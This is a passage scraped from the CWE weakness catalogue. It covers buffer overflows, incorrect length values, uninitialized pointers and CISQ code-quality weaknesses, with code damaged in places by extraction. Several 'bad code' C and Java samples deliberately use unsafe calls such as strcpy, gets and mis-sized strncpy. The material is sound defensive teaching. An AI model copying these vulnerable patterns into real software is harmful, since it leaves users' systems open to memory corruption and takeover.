char *message = malloc(sizeof(char)*(length+1)); // copy input string to a temporary string char message[length+1]; int index; for (index = 0; index < length; index++) { message[index] = strMessage[index]; }message[index] = '\0'; // trim trailing whitespace int len = index-1; while (isspace(message[len])) { message[len] = '\0'; }len--; // return string without trailing whitespace retMessage = message; return retMessage; However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer. Example 2 The following example asks a user for an offset into an array to select an item. (bad code)
Example Language: C
int main (int argc, char **argv) { char *items[] = {"boat", "car", "truck", "train"}; }int index = GetUntrustedOffset(); printf("You selected %s\n", items[index-1]); The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126). Example 3 The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in destBuf with the string stored in srcBuf. It does so by using the function strstr(), which returns a pointer to the found substring in destBuf. Using pointer arithmetic, the starting index of the substring is found. (bad code)
Example Language: C
int main() {
... }
char *result = strstr(destBuf, "Replace Me"); int idx = result - destBuf; strcpy(&destBuf[idx], srcBuf); ... In the case where the substring is not found in destBuf, strstr() will return NULL, causing the pointer arithmetic to be undefined, potentially setting the value of idx to a negative number. If idx is negative, this will result in a buffer underwrite of destBuf. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-824: Access of Uninitialized Pointer
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterIf the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the product to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks. Depending on memory layout, associated memory management behaviors, and product operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology
Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.
Maintenance
There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.
CWE-805: Buffer Access with Incorrect Length Value
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.
When the length value exceeds the size of the destination, a buffer overflow could occur.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer. (bad code)
Example Language: C
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr; char hostname[64]; in_addr_t inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */ validate_addr_form(user_supplied_addr); addr = inet_addr(user_supplied_addr); hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET); strcpy(hostname, hp->h_name); This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker. Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476). Example 2 In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed: (bad code)
Example Language: C
int returnChunkSize(void *) {
/* if chunk info is valid, return the size of usable memory, * else, return -1 to indicate an error */ ... int main() { ... }memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1)); ... If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788). Example 3 In the following example, the source character string is copied to the dest character string using the method strncpy. (bad code)
Example Language: C
...
char source[21] = "the character string"; char dest[12]; strncpy(dest, source, sizeof(source)-1); ... However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below. (good code)
Example Language: C
...
char source[21] = "the character string"; char dest[12]; strncpy(dest, source, sizeof(dest)-1); ... Example 4 In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file. (bad code)
Example Language: C
#define LOG_INPUT_SIZE 40
// saves the file name to a log file int outputFilenameToLog(char *filename, int length) { int success;
// buffer with size set to maximum size for input to log file char buf[LOG_INPUT_SIZE]; // copy filename to buffer strncpy(buf, filename, length); // save to log file success = saveToLogFile(buf); return success; However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below. (good code)
Example Language: C
...
// copy filename to buffer strncpy(buf, filename, sizeof(buf)-1); ... Example 5 Windows provides the MultiByteToWideChar(), WideCharToMultiByte(), UnicodeToBytes(), and BytesToUnicode() functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error. In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow. The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string. (bad code)
Example Language: C
void getUserInfo(char *username, struct _USER_INFO_2 info){
WCHAR unicodeUser[UNLEN+1]; }MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser)); NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info); This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)*sizeof(WCHAR) wide characters, or (UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)*sizeof(WCHAR) bytes allocated. If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
Relevant to the view "Seven Pernicious Kingdoms" (View-700)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array. (bad code)
Example Language: C
char last_name[20];
printf ("Enter your last name: "); scanf ("%s", last_name); The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total. Example 2 The following code attempts to create a local copy of a buffer to perform some manipulations to the data. (bad code)
Example Language: C
void manipulate_string(char * string){
char buf[24]; }strcpy(buf, string); ... However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter. Example 3 The code below calls the gets() function to read in data from the command line. (bad code)
Example Language: C
char buf[24]; }printf("Please enter your name and press <Enter>\n"); gets(buf); ... However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition. Example 4 In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file. (bad code)
Example Language: C
...
struct hostent *clienthp;
char hostname[MAX_LEN]; // create server socket, bind to server address and listen on socket ... // accept client connections and process requests int count = 0; for (count = 0; count < MAX_CONNECTIONS; count++) { int clientlen = sizeof(struct sockaddr_in); int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen); if (clientsocket >= 0) { clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
strcpy(hostname, clienthp->h_name); logOutput("Accepted client connection from host ", hostname); // process client request ... close(clientsocket); close(serversocket); ... However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.
Terminology
Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.
Other
A buffer overflow condition exists when a product attempts to put more data in a buffer than it can hold, or when it attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the product copies the buffer without restricting how much data is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.
CWE CATEGORY: CISQ Quality Measures - Efficiency
Weaknesses in this category are related to the CISQ Quality Measures for Efficiency. Presence of these weaknesses could reduce the efficiency of the software.
CWE CATEGORY: CISQ Quality Measures - Maintainability
Weaknesses in this category are related to the CISQ Quality Measures for Maintainability. Presence of these weaknesses could reduce the maintainability of the software.
CWE CATEGORY: CISQ Quality Measures - Reliability
Weaknesses in this category are related to the CISQ Quality Measures for Reliability. Presence of these weaknesses could reduce the reliability of the software.
CWE CATEGORY: CISQ Quality Measures - Security
Weaknesses in this category are related to the CISQ Quality Measures for Security. Presence of these weaknesses could reduce the security of the software.
CWE-1082: Class Instance Self Destruction Control Element
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code contains a class instance that calls the method or function to delete or destroy itself.
For example, in C++, "delete this" will cause the object to delete itself. This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1086: Class with Excessive Number of Child Classes
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. While the interpretation of "large number of children" may vary for each product or developer, CISQ recommends a default maximum of 10 child classes. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1074: Class with Excessively Deep Inheritance
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterA class has an inheritance level that is too high, i.e., it
has a large number of parent classes.
This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. While the interpretation of "large number of parent classes" may vary for each product or developer, CISQ recommends a default maximum of 7 parent classes. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1087: Class with Virtual Method without a Virtual Destructor
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterA class contains a virtual method, but the method does not have an associated virtual destructor.
This issue can prevent the product from running reliably, e.g. due to undefined behavior. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-595: Comparison of Object References Instead of Object Contents
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.
For example, in Java, comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values; often, this means that using == for strings is actually comparing the strings' references, not their values.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent. (bad code)
Example Language: Java
String str1 = new String("Hello");
String str2 = new String("Hello"); if (str1 == str2) { System.out.println("str1 == str2"); }However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method: (good code)
Example Language: Java
if (str1.equals(str2)) {
System.out.println("str1 equals str2"); }Example 2 In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator. (bad code)
Example Language: Java
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
return accountA == accountB; }Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object. The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects. (good code)
Example Language: Java
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
return accountA.equals(accountB); }
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1046: Creation of Immutable Text Using String Concatenation
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterWhen building a string via a looping feature (e.g., a FOR or WHILE loop), the use of += to append to the existing string will result in the creation of a new object with each iteration. This programming pattern can be inefficient in comparison with use of text buffer data elements. This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this could be influenced to create performance problem. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1083: Data Access from Outside Expected Data Manager Component
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.
When the product has a data access component, the design may be intended to handle all data access operations through that component. If a data access operation is performed outside of that component, then this may indicate a violation of the intended design. This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1057: Data Access Operations Outside of Expected Data Manager Component
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.
This issue can make the product perform more slowly than intended, since the intended central data manager may have been explicitly optimized for performance or other quality characteristics. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a data element that has an excessively large
